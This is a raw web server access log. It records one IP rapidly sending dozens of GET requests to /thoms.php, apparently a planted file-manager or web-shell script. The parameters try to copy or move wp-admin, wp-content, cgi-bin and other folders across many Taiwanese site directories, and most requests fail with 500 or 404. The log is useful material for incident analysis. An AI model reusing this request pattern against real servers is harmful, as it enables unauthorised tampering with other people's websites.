45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:41 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:42 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
